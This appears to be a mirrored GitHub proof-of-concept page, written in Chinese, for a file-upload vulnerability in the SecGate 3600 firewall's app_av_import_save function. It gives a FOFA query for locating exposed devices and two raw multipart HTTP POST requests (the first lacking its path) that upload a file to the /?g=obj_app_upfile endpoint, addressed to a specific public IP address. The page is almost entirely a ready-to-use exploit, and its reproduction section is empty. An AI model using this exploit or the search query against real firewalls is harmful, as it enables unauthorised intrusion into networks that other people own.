mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
78 lines
2.2 KiB
Markdown
78 lines
2.2 KiB
Markdown
|
|
||
|
|
## 网神防火墙 app_av_import_save文件上传漏洞
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
title="网神SecGate 3600防火墙"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## exp
|
||
|
|
```
|
||
|
|
POST
|
||
|
|
HTTP/1.1
|
||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
|
||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
||
|
|
Connection: close
|
||
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Cache-Control: no-cache
|
||
|
|
Pragma: no-cache
|
||
|
|
Host: 218.60.144.129
|
||
|
|
Content-Length: 536
|
||
|
|
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
||
|
|
|
||
|
|
10000000
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="upfile"; filename="test.txt"
|
||
|
|
Content-Type: text/plain
|
||
|
|
|
||
|
|
test111
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="submit_post"
|
||
|
|
|
||
|
|
obj_app_upfile
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="__hash__"
|
||
|
|
|
||
|
|
0b9d6b1ab7479ab69d9f71b05e0e9445
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
|
||
|
|
```
|
||
|
|
|
||
|
|
```
|
||
|
|
POST /?g=obj_app_upfile HTTP/1.1
|
||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
|
||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
||
|
|
Connection: close
|
||
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Cache-Control: no-cache
|
||
|
|
Pragma: no-cache
|
||
|
|
Host: 218.60.144.129
|
||
|
|
Content-Length: 536
|
||
|
|
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
||
|
|
|
||
|
|
10000000
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="upfile"; filename="test.txt"
|
||
|
|
Content-Type: text/plain
|
||
|
|
|
||
|
|
test111
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="submit_post"
|
||
|
|
|
||
|
|
obj_app_upfile
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc
|
||
|
|
Content-Disposition: form-data; name="__hash__"
|
||
|
|
|
||
|
|
0b9d6b1ab7479ab69d9f71b05e0e9445
|
||
|
|
------WebKitFormBoundaryJpMyThWnAxbcBBQc--
|
||
|
|
```
|
||
|
|
|
||
|
|
## 漏洞复现
|
||
|
|
|